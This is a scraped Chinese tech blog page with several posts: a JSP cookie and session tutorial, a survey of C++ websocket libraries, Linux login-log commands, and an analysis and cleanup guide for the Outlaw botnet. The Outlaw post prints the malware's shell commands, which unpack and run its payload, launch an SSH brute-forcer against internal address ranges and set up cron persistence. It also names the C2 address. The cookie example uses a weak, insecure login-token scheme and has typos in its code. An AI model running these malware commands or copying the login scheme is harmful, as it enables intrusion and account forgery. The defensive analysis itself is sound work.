最新文�? 原创 : ubuntu16.04怎样才能安装 wxpython 2.8.12.1 转载 : gerrit安装与配置 原创 : RobotFramework框架系列 – 介绍篇 原创 : RobotFramework框架系列 – 运行参数篇 原创 : RobotFramework框架系列 – TAG选择运行篇
\n```\n由于JavaScript能够任意的读写Cookie,有些好事者便想使用JavaScript程序去窥探用户在其他网站的Cookie。不顾这是徒劳的,W3C组织早就意识到JavaScript对Cookie的读写所带来的安全隐患并加以防备了,W3C标准的浏览器会阻止JavaScript读写任何不属于自己网站的Coookie。换句话说,A网站的JavaScript程序读写B网站的Cookie不会有任何的结果。\n\n#### 案例:永久登录\n如果用户是在自己家的电脑上上网,登录时就可以记住他的登录信息,下次访问时不需要再次登录,直接访问即可。实现方法是把登录信息如账号、密码等保存在Cookie中,并控制Cookie的有效期,下次访问时再验证Cookie中的登录信息即可。
\n保存登录信息有多种方案。最直接的是把用户名与密码都保持到Cookie中,下次访问时检查Cookie中的用户名与密码,与数据库比较。这是一种比较危险的选择,一般不把密码等重要信息保存到Cookie中。
\n还有一种方案是把密码加密后保存到Cookie中,下次访问时解密并与数据库比较。这种方案略微安全一些。如果不希望保存密码,还可以把登录的时间戳保存到Cookie与数据库中,到时只验证用户名与登录时间戳就可以了。
\n这几种方案验证账号时都要查询数据库。
\n本例将采用另一种方案,只在登录时查询一次数据库,以后访问验证登录信息时不再查询数据库。实现方式是把账号按照一定的规则加密后,连同账号一块保存到Cookie中。下次访问时只需要判断账号的加密规则是否正确即可。本例把账号保存到名为account的Cookie中,把账号连同密钥用MD1算法加密后保存到名为ssid的Cookie中。验证时验证Cookie中的账号与密钥加密后是否与Cookie中的ssid相等。相关代码如下:代码1.8 loginCookie.jsp
\n```\n<%@ page language=\"java\"pageEncoding=\"UTF-8\" isErrorPage=\"false\" %>\n\n<%! // JSP方法\n\n private static final String KEY =\":cookie@helloweenvsfei.com\";// 密钥 \n public final static String calcMD1(Stringss) { // MD1 加密算法\n String s = ss==null ?\"\" : ss; // 若为null返回空\n char hexDigits[] = { \'0\',\'1\', \'2\', \'3\', \'4\', \'1\', \'6\', \'7\', \'8\', \'9\',\n \'a\', \'b\', \'c\', \'d\', \'e\', \'f\' }; // 字典\n try {\n byte[] strTemp =s.getBytes(); // 获取字节\n MessageDigestmdTemp = MessageDigest.getInstance(\"MD1\"); // 获取MD1\n mdTemp.update(strTemp); // 更新数据\n byte[] md =mdTemp.digest(); // 加密\n int j =md.length; // 加密后的长度\n char str[] = newchar[j * 2]; // 新字符串数组\n int k =0; // 计数器k\n for (int i = 0; i< j; i++) { // 循环输出\n byte byte0 =md[i];\n str[k++] =hexDigits[byte0 >>> 4 & 0xf];\n str[k++] =hexDigits[byte0 & 0xf];\n }\n return newString(str); // 加密后字符串\n } catch (Exception e){return null; }\n }\n%>\n<%\n request.setCharacterEncoding(\"UTF-8\"); // 设置request编码\n response.setCharacterEncoding(\"UTF-8\"); // 设置response编码\n String action =request.getParameter(\"action\"); // 获取action参数\n if(\"login\".equals(action)){ // 如果为login动作\n String account =request.getParameter(\"account\");// 获取account参数\n String password =request.getParameter(\"password\");// 获取password参数\n int timeout = newInteger(request.getParameter(\"timeout\"));// 获取timeout参数\n String ssid =calcMD1(account + KEY); // 把账号、密钥使用MD1加密后保存\n CookieaccountCookie = new Cookie(\"account\", account);// 新建Cookie\n accountCookie.setMaxAge(timeout); // 设置有效期\n Cookie ssidCookie =new Cookie(\"ssid\", ssid); // 新建Cookie\n ssidCookie.setMaxAge(timeout); // 设置有效期\n response.addCookie(accountCookie); // 输出到客户端\n response.addCookie(ssidCookie); // 输出到客户端\n // 重新请求本页面,参数中带有时间戳,禁止浏览器缓存页面内容\n response.sendRedirect(request.getRequestURI() + \"?\" + System.\n currentTimeMillis());\n return;\n }\n elseif(\"logout\".equals(action)){ // 如果为logout动作\n\n CookieaccountCookie = new Cookie(\"account\", \"\"); // 新建Cookie,内容为空\n accountCookie.setMaxAge(0); // 设置有效期为0,删除\n Cookie ssidCookie =new Cookie(\"ssid\", \"\"); // 新建Cookie,内容为空\n ssidCookie.setMaxAge(0); // 设置有效期为0,删除\n response.addCookie(accountCookie); // 输出到客户端\n response.addCookie(ssidCookie); // 输出到客户端\n //重新请求本页面,参数中带有时间戳,禁止浏览器缓存页面内容\n response.sendRedirect(request.getRequestURI() + \"?\" + System.\n currentTimeMillis());\n return;\n }\n boolean login = false; // 是否登录\n String account = null; // 账号\n String ssid = null; // SSID标识\n if(request.getCookies() !=null){ // 如果Cookie不为空\n for(Cookie cookie :request.getCookies()){ // 遍历Cookie\n if(cookie.getName().equals(\"account\")) // 如果Cookie名为account\n account = cookie.getValue(); // 保存account内容\n if(cookie.getName().equals(\"ssid\")) // 如果为SSID\n ssid = cookie.getValue(); // 保存SSID内容\n }\n }\n if(account != null && ssid !=null){ // 如果account、SSID都不为空\n login =ssid.equals(calcMD1(account + KEY));// 如果加密规则正确, 则视为已经登录\n }\n%>\n\n <%= login ? \"欢迎您回来\" : \"请先登录\"%>\n <% if(login){%>\n 欢迎您, ${ cookie.account.value }.   \n \n 注销\n <% } else {%>\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
账号:
密码:
有效期: 关闭浏览器即失效
\"> 30天\n 内有效
\"> 永久有效
\n \n <% } %>\n```\n\n登录时可以选择登录信息的有效期:关闭浏览器即失效、30天内有效与永久有效。通过设置Cookie的age属性来实现,注意观察代码。运行效果如图所示。\n
\n![image.png](https://www.testingcloud.club/sapi/api/image_download/dc162ef2-5283-11ec-a639-525400dc6cec.png)\n
\n\n#### cookie的工作机制\n1. 服务器向客户端响应请求的时候,会在响应头中设置set-cookie的值,其值的格式通常是name = value的格式\n2. 浏览器将 cookie 保存下来\n3. 每次请求浏览器都会自动将 cookie 发向服务器\n4. cookie最初是在客户端用于存储会话信息的。\n\n![image.png](https://www.testingcloud.club/sapi/api/image_download/a5554775-5284-11ec-a639-525400dc6cec.png)\n
\n\n \n\n### Session\n除了使用cookie,Web应用程序中还经常使用Session来记录客户端状态。Session是服务器端使用的一种记录客户端状态的机制,使用上比Cookie简单一些,相应的也增加了服务器的存储压力。
\n#### 什么是Session\nSession是另一种记录客户状态的机制,不同的是Cookie保存在客户端浏览器中,Session保存在服务器上。客户端浏览器访问服务器的时候,服务端把客户端信息以某种形式记录在服务器上,这就是Session。客户端浏览器再次访问时只需要从该Session中查找该客户的状态就可以了。
\n如果说Cookie机制是通过检查客户身上的\"通行证\"来确定客户身份的话,那么Session及时就是通过检查服务器上的\"客户明细表\"来确认身份。Session相当于程序在服务器上建立的一份客户档案,客户来访时只需要检查客户的档案表就可以了。
\n\n#### Session的生命周期\n\nSession保存在服务器端。为了获得更高的存取速度,服务器一般吧Session放在内存里。每个用户都会有一个独立的Session。如果Session内用过于复杂,当大量客户访问服务器时可能导致内存溢出。因此,Session里的信息尽量精简。
\n\nSession在用户第一次访问服务器的时候自动创建。需要注意只有访问JSP、Serviet等程序时才会创建Session,只访问HTML、IMAGE等静态资源并不会创建Session。如果尚未生成Session,也可能使用request.getSession(true)强制生成Session。
\n\nSession生成后,只要用户继续访问,服务器就会更新Session的最后访问时间,并维护该Session。用户每访问一次,无论是否读写Session,服务器都认为该用户的Session活跃(active)了一次。
\n#### Session的有效期\n由于有越来越多的用户访问服务器,因此Session也会越来越多。为防止内存溢出,服务器会把长时间没有活跃的Session从内存中删除。这个时间就是Session的超时时间。如果超过了超时时间没有访问过服务器,Session就自动失效。
\nSession的超时时间为maxUnactiveInterval属性,可以通过getMacInactiveInterval()获取,通过setMaxInacyiveInterval(longinterval)修改。
\nSession的超时时间也可以在web.xml中修改。另外,通过调用Session的invalidate()方法可以是Session失效。\n\n#### Session常用的方法\nSession中包括各种办法,使用起来要比Cookie方便的多。Session的常用方法如下:
\n\n![QQ图片20211201165443.png](https://www.testingcloud.club/sapi/api/image_download/5abaaee6-5284-11ec-a639-525400dc6cec.png)\n\n#### Session对浏览器的要求\n虽然Session保存在服务器,对客户端是透明的,他的正常运行任然需要客户端浏览器的支持。这是因为Session需要使用Cookie作为识别标志。HTTP协议是无状态的,Session不能依据HTTP链接来判断是否为同一客户,因此服务器先客户端浏览器发送一个名为JSESSIONID的Cookie,他的值为该Session的id(也就是HTTPSession.getId()的返回值)。Session依据Cookie来识别是否为同一用户。
\n\n该Cookie为服务器自动生成的,它的maxAge属性一般为-1,表示仅当前浏览器内有效,并且个浏览器窗口间不共享,关闭浏览器就会失效。
\n\n因此同一机器的两个浏览器窗口访问服务器时,会生成两个不同的Session、但是由浏览器窗口内的链接、脚本等打开的新窗口(也就是说不是双击=桌面浏览器图标打开的窗口)除外。这类子窗口会共享父窗口的Cookie,因此会共享一个Session。
\n如果客户端浏览器将Cookie功能禁用,或者不支持Cookie怎么办?例如,绝大多数的手机浏览器都不支持Cookie。Java Web提供了另一种解决方案:URL地址重写。
\n \n\n#### session的工作机制\n1. 当客户端第一次请求session对象时,服务器会创建一个session,并通过特殊算法算出一个session的ID,用来标识该session对象,然后将这个session序列放置到set-cookie中发送给浏览器\n2. 浏览器下次发请求的时候,这个sessionID会被放置在请求头中,和cookie一起发送回来\n3. 服务器再通过内存中保存的sessionID跟cookie中保存的sessionID进行比较,并根据ID在内存中找到之前创建的session对象,提供给请求使用,也就是服务器会通过session保存一个状态记录,浏览器会通过cookie保存状态记录,服务器通过两者的对比实现跟踪状态,这样的做,也极大的避免了cookie被篡改而带来的安全性问题\n4. 由于cookie可以被人为的禁止,必须有其他机制以便在cookie被禁止时仍然能够把session id传递回服务器。经常被使用的一种技术叫做URL重写,就是把session id直接附加在URL路径的后面,附加方式也有两种,一种是作为URL路径的附加信息,另一种是作为查询字符串附加在URL后面\n\n![image.png](https://www.testingcloud.club/sapi/api/image_download/c5192de2-5284-11ec-a639-525400dc6cec.png)\n\n\n \n \n\n') document.getElementById('render_526').innerHTML = htmlText console.log(htmlText) htmlText = marked.parse('#### websocket协议\nwebsocket协议基于http和https协议,同时又具备有tcp常连接通信的特点,底层自带流转包机制,因此成为了传统tcp协议的广泛替代品。
\n\n#### cpp websocket库\ncpp下并没有好用且权威的websocket三方库
\nc++ 下websocket库主要有
\n- websocketpp\n- libwebsocket\n- uwebsockets\n- boost.beast\n- boost.asio\n\n这几个库目前来看都以肉眼可见的速度在迭代,从使用量上来看websocketpp占优,但是永远也不知道这些模板库在模板特化的时候生成了什么骚代码,几乎不可调试和修改。
\n可是是基于模板化的asio和boost。
\nuwebsockets的宣称性能更好,可惜例子只提供了作为server的sample。
\n官方也没有提供windows下的编译方法。
\n\n![image.png](https://www.testingcloud.club/sapi/api/image_download/a38168c5-572c-11ec-a639-525400dc6cec.png)\n\n
\nlibwebsocket是基于纯c的库,使用cmake编译,有点是可以支持某些单片机平台比如esp32。
\n\n\n##### websocketpp编译及使用\nwebsocketpp编译需要boost库,笔者使用以下环境在vs2019编译通过。\n- websocketpp版本0.7.0\n- boost版本1.6.70\n\nwebsocketpp需要boost.asio的支持,在本例中使用asio standalone依然会编译错误,报错为
\n\n![BF908BAFA2614818A0F539E6F806F9EC.png](https://www.testingcloud.club/sapi/api/image_download/1e8efd1e-5724-11ec-a639-525400dc6cec.png)\n\n
\nboost1.6.70的编译 win10 + vs2019:
\n\n```\n# vcvars64.bat \n**********************************************************************\n** Visual Studio 2019 Developer Command Prompt v16.9.5\n** Copyright (c) 2021 Microsoft Corporation\n**********************************************************************\n[vcvarsall.bat] Environment initialized for: \'x64\'\n\n# ./bootstrap.sh\n# bjam.exe --toolset=msvc-14.1 architecture=x86 address-model=64 link=static --build-type=complete --with-system --with-thread --with-date_time --with-filesystem --with-serialization\n# bjam.exe install\n```\n\n##### uWebSockets\nuWebSockets 是基于C++17,无法支持某些编译平台,例子只提供了作为server的sample。\n\n##### boost.beast\nboost.beast只需要编译boost时加上--with-beast就可使用,个人认为如果是不在乎性能的客户端。就可以使用beast,和websocketpp的实现原理是类似的,websocket对依赖的boost版本并没有指定全靠使用者去试,这时候使用boost.beast可以省很多的时间
') document.getElementById('render_527').innerHTML = htmlText console.log(htmlText) htmlText = marked.parse('#### 引用\n[Linux用户登录记录日志和相关查看命令汇总(转)](https://www.cnblogs.com/xd502djj/p/9626357.html)\n
\n[Linux 查看登录日志](https://blog.csdn.net/jctian000/article/details/81773255)\n
\n\n#### utmp、wtmp、btmp文件\nLinux用户登录信息放在三个文件中:\n\n1. /var/run/utmp:记录当前正在登录系统的用户信息,默认由who和w记录当前登录用户的信息,uptime记录系统启动时间;\n2. /var/log/wtmp:记录当前正在登录和历史登录系统的用户信息,默认由last命令查看;\n3. /var/log/btmp:记录失败的登录尝试信息,默认由lastb命令查看。\n\n这三个文件都是二进制数据文件,并且三个文件结构完全相同,是由/usr/include/bits/utmp.h文件定义了这三个文件的结构体。
\n\n默认情况下文件的日志信息会通过logrotate日志管理工具定期清理。logrotate的配置文件是/etc/logrotate.conf,此处是logrotate的缺省设置,通常不需要对它进行修改。日志文件的轮循压缩等设置存放在独立的配置文件中,它(们)放在/etc/logrotate.d/目录下,它会覆盖缺省设置。
\n如果不想记录相关信息,则可以直接将相关文件删除即可。如果系统不存在该文件,则需要在此路径touch一个文件就可以继续记录相关信息了。
\n此外:
\n如果想禁用who命令,则只需要将utmp的可读权限去掉就行,这样非root用户就不能用此命令了;如果是btmp文件,手工创建的话注意权限必须为600,否则不能正确写入信息。 \n\n##### 相关命令介绍\n下面开始介绍查看这三个日志文件的命令了。分别是lastlog、last、lastb、ac、who、w、users、utmpdump。\n其中last、lastb、who、utmpdump可以通过指定参数而查看三个中的任意一个文件。\n\n**lastlog** :
\n列出所有用户最近登录的信息,或者指定用户的最近登录信息。lastlog引用的是/var/log/lastlog文件中的信息,包括login-name、port、last login time\n
\n**last**:
\n列出当前和曾经登入系统的用户信息,它默认读取的是/var/log/wtmp文件的信息。输出的内容包括:用户名、终端位置、登录源信息、开始时间、结束时间、持续时间。注意最后一行输出的是wtmp文件起始记录的时间。当然也可以通过last -f参数指定读取文件,可以是/var/log/btmp、/var/run/utmp
\n**lastb**:
\n列出失败尝试的登录信息,和last命令功能完全相同,只不过它默认读取的是/var/log/btmp文件的信息。当然也可以通过last -f参数指定读取文件,可以是/var/log/btmp、/var/run/utmp
\n**ac**:
\n输出所有用户总的连接时间,默认单位是小时。由于ac是基于wtmp统计的,所以修改或者删除wtmp文件都会使ac的结果受影响。(Suse默认没有该命令)
\n**who**:
\n查看当前登入系统的用户信息。其中who -m等效于who am i。
\n语法who [OPTION]... [ FILE | ARG1 ARG2 ]。
\nwho命令强大的一点是,它既可以读取utmp文件也可以读取wtmp文件,默认没有指定FILE参数时,who查询的是utmp的内容。当然可以指定FILE参数,比如who -aH /var/log/wtmp,则此时查看的是wtmp文件。
\n**w**:
\n查看当前登入系统的用户信息及用户当前的进程(而who命令只能看用户不能看进程)。该命令能查看的信息包括字系统当前时间,系统运行时间,登陆系统用户总数及系统1、5、10分钟内的平均负载信息。后面的信息是用户,终端,登录源,login time,idle time,JCPU,PCPU,当前执行的进程等。
\nw的信息来自两个文件:用户登录信息来自/var/run/utmp,进程信息来自/proc/.
\n**users**:
\n显示当前正在登入统的用户名。语法是users [OPTION]... [FILE]。如果未指定FILE参数则默认读取的是/var/run/utmp,当然也可以指定通用相关文件/var/log/wtmp,此时输出的就不是当前用户了。
\n**utmpdump**:
\nutmpdump用于转储二进制日志文件到文本格式的文件以便查看,同时也可以修改二进制文件包括/var/run/utmp、/var/log/wtmp、/var/log/btmp。语法为:utmpdump [options] [filename]。修改文件实际就可以抹除系统记录,所以一定要设置好权限,防止非法入侵。
\n\n#### 脚本生成所有登录用户的操作历史\n这是防黑客的非常重要的手段,某些黑客利用应用程序漏洞获得ssh权限,对系统进行修改,通过这个操作可以获得每个用户的所有登录动作的操作历史,就可以知道黑客具体对你的系统进行了什么骚操作。
\n具体操作:
\n通过在/etc/profile里面加入以下代码就可以实现:\n```\nPS1=\"`whoami`@`hostname`:\"\'[$PWD]\'\nUSER_IP=`who -u am i 2>/dev/null| awk \'{print $NF}\'|sed -e \'s/[()]//g\'`\nif [ \"$USER_IP\" = \"\" ]\nthen\nUSER_IP=`hostname`\nfi\nif [ ! -d /tmp/dbasky ]\nthen\nmkdir /tmp/dbasky\nchmod 777 /tmp/dbasky\nfi\nif [ ! -d /tmp/dbasky/${LOGNAME} ]\nthen\nmkdir /tmp/dbasky/${LOGNAME}\nchmod 300 /tmp/dbasky/${LOGNAME}\nfi\nexport HISTSIZE=4096\nDT=`date \"+%Y-%m-%d_%H:%M:%S\"`\nexport HISTFILE=\"/tmp/dbasky/${LOGNAME}/${USER_IP}-dbasky.$DT\"\nchmod 600 /tmp/dbasky/${LOGNAME}/*dbasky* 2>/dev/null\n```\nsource /etc/profile 使用脚本生效
\n退出用户,重新登录
\n脚本在系统的/tmp新建个dbasky目录,记录所有登陆过系统的用户和IP地址(文件名),每当用户登录/退出会创建相应的文件,该文件保存这段用户登录时期内操作历史,可以用这个方法来监测系统的安全性。
\n\n') document.getElementById('render_568').innerHTML = htmlText console.log(htmlText) htmlText = marked.parse('将blog 服务端切换到ucloud之后一直遇到一些问题,表现在服务器过几天就会重启,之后cpu会被一个叫tsm和kswapd0的进程吃掉直到吃满,经过调查之后发现是中了所谓的Outlaw病毒。
\n腾讯安全威胁情报中心检测到国内大量企业遭遇亡命徒(Outlaw)僵尸网络攻击。亡命徒(Outlaw)僵尸网络最早于2018年被发现,其主要特征为通过SSH爆破攻击目标系统,同时传播基于Perl的Shellbot和门罗币挖矿木马。腾讯安全威胁情报中心安全大数据显示,亡命徒(Outlaw)僵尸网络已造成国内约2万台Linux服务器感染,影响上万家企业。\n
\n此次攻击传播的母体文件为dota3.tar.gz,可能为亡命徒(Outlaw)僵尸网络的第3个版本,母体文件释放shell脚本启动对应二进制程序,kswapd0负责进行门罗币挖矿,tsm32、tsm64负责继续SSH爆破攻击传播病毒。\n
\n![image.png](https://www.testingcloud.club/sapi/api/image_download/5e08214a-af71-11ec-93dd-525400986ccb.png)\n\n
\n亡命徒(Outlaw)僵尸网络之前通过利用Shellshock漏洞进行分发,因此被命名为“ Shellbot”。Shellbot利用物联网(IoT)设备和Linux服务器上的常见命令注入漏洞进行感染。Shellshock漏洞(CVE-2014-7169)是2014年在Bash command shell中发现的一个严重的漏洞,大多数Linux发行版通常会使用到该功能,攻击者可以在这些受影响的Linux服务器上远程执行代码。\n
\n亡命徒(Outlaw)僵尸网络利用SSH爆破入侵的攻击活动,可以被腾讯T-Sec高级威胁检测系统(御界)检测到:\n
\n\n![image.png](https://www.testingcloud.club/sapi/api/image_download/6dbc85ee-af71-11ec-93dd-525400986ccb.png)\n
\n腾讯T-Sec云防火墙可以检测亡命徒(Outlaw)僵尸网络的挖矿行为、Shellshock漏洞利用及暴力破解SSH登录口令等等攻击活动。\n
\n目前,Outlaw僵尸网络的影响仍在扩散,对企业服务器危害严重,腾讯电脑管家支持检测亡命徒(Outlaw)僵尸网络的攻击活动,帮助企业用户及时发现安全危机。\n
\nOutlaw通过SSH爆破攻击,访问目标系统并下载带有shell脚本、挖矿木马、后门木马的TAR压缩包文件dota3.tar.gz。解压后的文件目录可以看到,根目录rsync下存放初始化脚本,a目录下存放shellbot后门,b目录下存放挖矿木马,c目录下存放SSH爆破攻击程序。
\n![image.png](https://www.testingcloud.club/sapi/api/image_download/89cac2e4-af71-11ec-93dd-525400986ccb.png)\n\n
\nC目录下二进制文件tsm32、tsm64为SSH(22端口)扫描和爆破程序,并可以通过执行远程命名来下载和执行恶意程序。\n
\n爆破成功后执行base64编码的shell命令,主要功能为删除旧版本的恶意程序和目录,然后解压获取到的最新版本恶意程序并执行,内容如下:
\n\n命令1:\n\n\n```\n\n#!/bin/bash\n\ncd /tmp \n\nrm -rf .ssh\n\nrm -rf .mountfs\n\nrm -rf .X13-unix\n\nrm -rf .X17-unix\n\nrm -rf .X19-unix\n\nrm -rf .X2*\n\nmkdir .X25-unix\n\ncd .X25-unix\n\nmv ar/tmp/dota3.tar.gz dota3.tar.gz\n\ntar xf dota3.tar.gz\n\nsleep 3s && cd .rsync; cat /tmp/.X25-unix/.rsync/initall | bash 2>1&\n\nsleep 45s && pkill -9 run && pkill -9 go && pkill -9 tsm\n\nexit 0\n```\n\n命令2:\n\n```\n#!/bin/bash\n\ncd /tmp \n\nrm -rf .ssh\n\nrm -rf .mountfs\n\nrm -rf .X13-unix\n\nrm -rf .X17-unix\n\nrm -rf .X19-unix\n\nrm -rf .X2*\n\nmkdir .X25-unix\n\ncd .X25-unix\n\nmv ar/tmp/dota3.tar.gz dota3.tar.gz\n\ntar xf dota3.tar.gz\n\nsleep 3s && cd /tmp/.X25-unix/.rsync/c\n\nnohup /tmp/.X25-unix/.rsync/cm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1&\n\nsleep 8m && nohup /tmp/.X25-unix/.rsync/cm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16 >> /dev/null 2>1&\n\nsleep 20m && cd ..; /tmp/.X25-unix/.rsync/initall 2>1&\n\nexit 0\n\n```\n\n![image.png](https://www.testingcloud.club/sapi/api/image_download/ba6ecf23-af71-11ec-93dd-525400986ccb.png)\n\n
\n还会通过远程命令修改SSH公钥以便之后能更容易入侵。\n\n
\nB目录下run脚本主要内容为base64编码的shellbot后门程序,解码后可以看到代码仍然经过混淆。\n\n
\n\n![image.png](https://www.testingcloud.club/sapi/api/image_download/d902f65e-af71-11ec-93dd-525400986ccb.png)\n\n
\n把执行函数eval改为print可打印出解密后的代码,是基于Perl的Shellbot变种,连接C2服务器地址为45.9.148.99:443,能够执行多个后门命令,包括文件下载、执行shell cmd和DDoS攻击。如果接受到扫描端口命令,可针对以下端口进行扫描:\"21\",\"22\",\"23\",\"25\",\"53\",\"80\",\"110\",\"143\",\"6665\"。
\nA目录下二进制文件kswapd0为XMRig编译的Linux平台门罗币挖矿木马。在初始化阶段会执行脚本init0来找到大量Linux平台竞品挖矿木马并进行清除。
\n\n\n在当前用户目录下创建/.configrc目录,拷贝a、b文件夹到该目录下并执行初始化脚本,然后通过写入cron.d安装计划任务进行持久化。写入定时任务如下:
\n```\n1 1 */2 * * $dir2/a/upd>/dev/null 2>&1\n@reboot $dir2/a/upd>/dev/null 2>&1\n5 8 * * 0 $dir2/b/sync>/dev/null 2>&1\n@reboot $dir2/b/sync>/dev/null 2>&1 \n0 0 */3 * * $dir/c/aptitude>/dev/null 2>&1\n```\n\n建议企业Linux服务器管理员检查服务器资源占用情况,及时修改弱密码,避免被暴力破解。若发现服务器已被入侵安装挖矿木马,可参考以下步骤手动检查、清除:
\n\n1. 删除以下文件,杀死对应进程:\n\n\n```\n/tmp/*-unix/.rsync/a/kswapd0\n\n*/.configrc/a/kswapd0\n\n\nmd5: 84945e9ea1950be3e870b798bd7c7559\n\n\n/tmp/*-unix/.rsync/c/tsm64\n\n\nmd5: 4adb78770e06f8b257f77f555bf28065\n\n\n/tmp/*-unix/.rsync/c/tsm32\n\n\nmd5: 10ea65f54f719bffcc0ae2cde450cb7a\n\n```\n2. 检查cron.d中是否存在包含以下内容的定时任务,如有进行删除:\n\n```\n/a/upd\n\n/b/sync\n\n/c/aptitude\n```') document.getElementById('render_579').innerHTML = htmlText setTimeout( ()=>{ console.log("delay render mathjax",MathJax) MathJax.Hub.Config({ tex2jax: { inlineMath: [['$', '$'], ['\\(', '\\)']] } }); // entry-content是文章页的内容div的class console.log(603) var math = document.getElementById('render_603')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(78) var math = document.getElementById('render_78')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(107) var math = document.getElementById('render_107')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(138) var math = document.getElementById('render_138')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(150) var math = document.getElementById('render_150')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(226) var math = document.getElementById('render_226')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(231) var math = document.getElementById('render_231')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(232) var math = document.getElementById('render_232')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(233) var math = document.getElementById('render_233')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(238) var math = document.getElementById('render_238')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(250) var math = document.getElementById('render_250')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(258) var math = document.getElementById('render_258')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(287) var math = document.getElementById('render_287')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(309) var math = document.getElementById('render_309')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(342) var math = document.getElementById('render_342')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(343) var math = document.getElementById('render_343')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(353) var math = document.getElementById('render_353')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(356) var math = document.getElementById('render_356')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(373) var math = document.getElementById('render_373')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(418) var math = document.getElementById('render_418')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(445) var math = document.getElementById('render_445')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(455) var math = document.getElementById('render_455')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(526) var math = document.getElementById('render_526')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(527) var math = document.getElementById('render_527')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(568) var math = document.getElementById('render_568')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); console.log(579) var math = document.getElementById('render_579')[0]; MathJax.Hub.Queue(["Typeset", MathJax.Hub, math]); },2000 ) });
互联网及其工具 历史版本:
上次修改时间:
Elasticsearch和MongoDB简要对比 历史版本:
上次修改时间: 2021-01-21 00:54:49
json yaml xml标准格式的异同 历史版本:
上次修改时间: 2021-01-21 00:54:49
elasticserach 7.0版本删除typer mapping的官方解释 历史版本:
上次修改时间: 2021-01-21 00:54:49
elasticsearch 简易使用教程 历史版本:
上次修改时间: 2021-01-21 00:54:49
https 保证传输安全的原理 历史版本:
上次修改时间: 2023-02-27 13:26:33
docker的基础网络类型 历史版本:
上次修改时间: 2021-01-21 00:54:49
docker容器的文件传输 历史版本:
上次修改时间: 2021-01-21 00:54:49
docker 简单运维 历史版本:
上次修改时间: 2021-08-01 13:52:01
OAUTH2授权协议 历史版本:
上次修改时间: 2021-01-21 00:54:49
OPENAPI 规范和golang语言的使用方法 历史版本:
上次修改时间: 2021-01-21 00:54:49
前端常见bug汇总 历史版本:
上次修改时间: 2021-01-21 00:54:49
k8s设计模式 历史版本:
上次修改时间: 2021-01-21 00:54:49
CDN技术 历史版本:
上次修改时间: 2023-09-25 17:55:41
elasticsearch-运行原理 历史版本:
上次修改时间: 2021-08-14 19:41:00
elasticsearch使用总结 历史版本:
上次修改时间: 2021-01-21 00:54:49
restful接口编程备忘 历史版本:
上次修改时间: 2021-01-26 15:53:44
rsa加密的速度和应用 历史版本:
上次修改时间: 2021-02-02 14:57:34
日志收集方式 历史版本:
上次修改时间: 2021-02-18 15:24:20
zookeeper应用场景-转 历史版本:
上次修改时间: 2021-04-08 16:19:16
分布式系统概念 历史版本:
上次修改时间: 2021-08-09 14:13:21
分布式系统协调和约定 历史版本:
上次修改时间: 2021-08-11 00:00:18
http session和cookie 应用 历史版本:
上次修改时间: 2021-12-01 17:01:39
c++ 下websocket库调查 历史版本:
上次修改时间: 2021-12-07 15:44:05
Linux 登录日志查看 历史版本:
上次修改时间: 2022-03-01 09:58:23
Outlaw病毒清除 历史版本:
上次修改时间: 2022-03-29 23:08:19
0条评�?
全部评论

关于博主

an actually real engineer

通信工程专业毕业,7年开发经验

技术栈:

精通c/c++

精通golang

熟悉常见的脚本,js,lua,python,php

熟悉电路基础,嵌入式,单片机

耕耘领域:

服务端开发

嵌入式开发

git

>

gin接口代码CURD生成工具

sql ddl to struct and markdown,将sql表自动化生成代码内对应的结构体和markdown表格格式,节省宝贵的时间。

输入ddl:
输出代码:

qt .ui文件转css文件

duilib xml 自动生成绑定控件代码

协议调试器

基于lua虚拟机的的协议调试器软件 支持的协议有:

串口

tcp客户端/服务端

udp 组播/udp节点

tcp websocket 客户端/服务端

软件界面

使用例子: 通过脚本来获得接收到的数据并写入文件和展示在界面上

下载地址和源码

duilib版本源码 qt qml版本源码 二进制包

webrtc easy demo

webrtc c++ native 库 demo 实现功能:

基于QT

webrtc摄像头/桌面捕获功能

opengl渲染/多播放窗格管理

janus meeting room

下载地址和源码

源码 二进制包

wifi,蓝牙 - 无线开关

实现功能:

通过wifi/蓝牙实现远程开关电器或者其他电子设备

电路原理图:

实物图:

深度学习验证工具

vtk+pcl 点云编辑工具

实现功能:

1. 点云文件加载显示(.pcd obj stl)

2. 点云重建

3. 点云三角化

4. 点云缩放

下载地址:

源码 二进制包

虚拟示波器

硬件实物图:

实现原理

基本性能

